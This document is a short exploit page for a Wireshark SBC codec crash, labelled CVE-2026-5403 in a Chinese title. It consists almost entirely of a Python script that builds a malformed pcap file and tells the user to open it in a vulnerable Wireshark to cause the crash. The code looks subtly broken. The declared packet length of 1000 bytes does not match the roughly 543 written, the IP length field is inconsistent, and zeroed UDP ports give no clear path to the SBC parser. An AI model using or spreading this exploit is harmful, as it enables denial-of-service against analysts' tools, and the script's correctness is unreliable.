CVE-2026-5403 Wireshark SBC编解码器崩溃漏洞

import struct # This script generates a malformed pcap file to trigger the SBC codec crash. # It creates a dummy global header followed by a crafted packet header # and a malformed SBC payload designed to overflow the parser. def generate_malformed_pcap(filename): # PCAP Global Header (Little Endian) pcap_global_header = struct.pack('<IHHIIII', 0xa1b2c3d4, # magic number 2, # version major 4, # version minor 0, # thiszone 0, # sigfigs 65535, # snaplen 1 # network (Ethernet) ) # Packet Header (Timestamps and length) # We set the captured length and actual length to a large value packet_header = struct.pack('<IIII', 0, 0, # ts_sec, ts_usec 1000, # incl_len (captured length) 1000 # orig_len (original length) ) # Ethernet Header (Dummy) eth_header = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00' # IP Header (Dummy) ip_header = b'\x45\x00\x00\x1c\x00\x00\x40\x00\x40\x11\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01' # UDP Header (Dummy) udp_header = b'\x00\x00\x00\x00\x00\x08\x00\x00' # SBC Payload (Malformed) # Constructing a payload that violates the SBC codec parsing logic # to trigger the buffer overflow/crash. # Sending a large block of 'A's to simulate overflow malicious_payload = b'\x9C' + b'A' * 500 with open(filename, 'wb') as f: f.write(pcap_global_header) f.write(packet_header) f.write(eth_header) f.write(ip_header) f.write(udp_header) f.write(malicious_payload) print(f"[+] Malformed PCAP file generated: {filename}") print("[+] Open this file in the vulnerable Wireshark version to trigger the crash.") if __name__ == "__main__": generate_malformed_pcap("crash_sbc.pcap")